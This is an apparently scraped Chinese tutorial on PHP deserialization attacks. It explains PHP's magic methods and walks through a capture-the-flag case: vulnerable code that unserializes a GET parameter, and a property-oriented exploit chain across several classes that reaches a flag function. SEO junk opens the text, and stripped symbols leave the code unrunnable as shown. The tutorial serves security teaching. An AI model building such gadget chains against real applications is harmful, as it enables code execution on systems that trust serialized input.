做一个招聘信息的网站_用什么做网站的软件,四川建设机械网站首页,有网站加金币的做弊器吗6,怎样在门户网站做 推广一、序列化#xff0c;反序列化 序列化#xff1a;将php对象压缩并按照一定格式转换成字符串过程反序列化#xff1a;从字符串转换回php对象的过程目的#xff1a;为了方便php对象的传输和存储 seriallize() 传入参数为php对象#xff0c;序列化成字符串 unseriali…一、序列化反序列化 序列化将php对象压缩并按照一定格式转换成字符串过程反序列化从字符串转换回php对象的过程目的为了方便php对象的传输和存储 seriallize() 传入参数为php对象序列化成字符串 unserialize() 传入字符串反序列化成一个对象 下图上面是php对象下面是 序列化结果 强调序列化的过程只序列化属性不序列化函数
二、反序列化攻击
利用unserilize()接受的参数是用户可控攻击者输入精心构造的字符串再转换成对象的过程中实现攻击
只序列化属性不序列化方法所有对象的属性是唯一的攻击入口
魔术方法以__开头的函数
1.__construct() 构造函数当一个对象被实例化时就会被调用
?phpclass A{function __construct(){echo this is a construct function:}}$a new A();
? 当$a new A() 这条语句被执行的时候__construct()方法就会被调用
2.__destruct():
析构函数当代码执行结束对象所占用的空间被回收的时候回自动调用析构函数
?phpclass A{function __construct(){echo this is a construct function;}function __destruct(){echo this is a destruct function;}}$a new A();
?
这个方法不管是啥情况只要代码执行肯定有结束的时候就一定会调用析构函数
3.__sleep(): 在对象进行序列化的过程__sleep()函数将被调用
?phpclass A{private $test;public $test2;public function __construct($test){$this-test $test;}public function __sleep(){echo this is a sleep function;return array(test); //这里必须返回一个数值里面的参数表示返回的属性名称}}$a new A(Aurora);echo serialize($a);
?
在代码中有serialize()方法的出现__sleep()这个魔术方法一定会被调用
4.__wakeup(): wakeup()与sleep()正好相对应
是在反序列化的过程会被调用
当unserialize()函数出现__wakeup()这个魔术方法一定会被调用
注意反序列化看似是构造一个对象但并没有调用到constant方法而是调用__wakeup()方法
5.__toString()方法
当出现把一个字符串当作字符串来使用就会调用该方法
?php class A{private $test;public function __construct($test){$this-test $test;}function __toString(){$str this is a toString function;return $str;}}$a new A(Aurora);echo $a;
?
6.__invoke():
当把一个对象当作函数来调用的时候就会自动调用invoke()方法
?phpclass A{private $test;public function __construct($test){$this-test $test;}function __invoke(){echo this is a invoke function;}}$a new A(Aurora);$a(); //$a是一个对象但却用$a()调用方法的方法使用它
?
上面$a()就是将对象作为函数来调用的例子
7.__call():
调用对象中不存在的方法就会调用call函数
?phpclass A{private $test;public function __construct($test){$this-test $test;}function _call($funName,$arguments){echo 你所调用的方法“.$funName.(参数 //输出调用不存在的方法名print_r($arguments);echo )不存在br\n; //结束换行}$a new A(Aurora);$a-test(no,this,function); //可以看到A类中并没有test()方法
?三、案例
!--
class allstart
{public $var1;public $var2;public function __destruct(){$this-var1-test1();}
}
class func1
{public $var1;public $var2;public function test1(){$this-var1-test2();}
}
class func2
{public $var1;public $var2;public function __call($test2,$arr){$s1 $this-var1;$s1();}
}
class func3
{public $var1;public $var2;public function __invoke(){$this-var2 concat string.$this-var1;}
}
class func4
{public $str1;public $str2;public function __toString(){$this-str1-get_flag();return 1;}
}
class toget
{public function get_flag(){ echo flag{***};}
}$a$_GET[string];
unserialize($a);反序列化攻击就是制造一条攻击链 将每一个会用到的属性进行赋值赋值成特定的对象 后将其进行序列化得到序列化的字符串作为get参数传入题目中去
?phpclass allstart{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func1();}public function __destruct(){$this-var1-test1();}}class func1{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func2();}public function test1(){$this-var1-test2();}} class func2{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func3();}public function __call($test2,$arr){$s1 $this-var1;$s1();}}class func3{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func4();}public function __invoke(){$this-var2 concat string.$this-var1;} }class func4{public $str1;public $str2;public function __construct() //只需在每个对象中添加构造函数{$this-str1new toget();}public function __toString(){$this-str1-get_flag();return 1;}}class toget{public function get_flag(){ echo flag{***};}}$anew allstart(); //这个也要与源码不同echo serialize($a); //将对象序列化
?